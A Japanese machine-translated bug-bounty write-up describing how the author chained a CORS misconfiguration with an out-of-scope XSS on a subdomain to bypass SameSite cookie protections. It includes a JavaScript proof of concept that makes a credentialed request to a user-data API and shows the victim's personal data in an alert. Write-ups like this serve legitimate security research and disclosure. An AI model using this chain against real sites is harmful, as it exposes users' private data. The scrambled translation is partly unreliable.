ソース:
訳:
XSS の影響を拡大するいくつかの XSS チェーンを発見しました。
Self-XSS を見つけるのにはそれほど時間はかかりませんでした。
ここで、XSS に連鎖する別のバグを見つけ。
XSS に連鎖するバグを特定することを目的として、Web サイトのテストを開始し。
私がテストしたバグの 1 つは、CORS の構成ミスでした。
使用してテストすることを好みます 私はCORS* Burp Extension を 。
この拡張機能を使用するには、「 CORS* をアクティブにする」チェックボックス をクリックし、ターゲットを参照して拡張機能の魔法を実行するだけで。
Burp プロキシを通過するすべてのリクエストに対して、さまざまな CORS バイパス手法を試み。 あとは結果を確認するだけです。
拡張機能をアクティブ化した後、CORS の設定ミスの可能性があることがわかり。 www.target.com/api/me
。 のユーザー PII を取得する役割を果たします この API リクエストは、名、姓、電子メール、アカウント ID など 。
リクエストを送信する場合に、、
Origin: 7odamoo-target.com
レスポンスは、、
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: 7odamoo-target.com
バグが発生したようで。
通常の場合はドメインを登録する必要があります 7odamoo-target.com
をアップロードして CORS PoC エクスプロイトをチームに示しましたが、Cookie フラグを確認したところ、問題はSameSite Cookie フラグ にあることがわかりました。
オリジンが許可されていない限り、ブラウザ はリクエストに Cookie を含めません。
次に何をするかは理解できたと思います。
Cookie が含まれるように、スコープ外の XSS を使用してリクエストを送信します。
そこで、このスクリプトを自分のサブドメインに挿入しました <MY-SUB>.target.com
したがって、誰かが私のサブドメインにアクセスすると、リクエストが送信され。 www.target.com/api/me
彼の PII は PoC としてアラート ポップアップに表示され。
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML = alert(this.responseText);
}
};
xhttp.onload = cors;
xhttp.open("GET", "https://www.target.com/api/me", true);
xhttp.withCredentials = true;
xhttp.send();
}
cors();
見事、CORS の誤った構成を範囲外の XSS と連鎖させて、SameSite Cookie のオリジン チェックをバイパスすることに成功し。
ほなほな。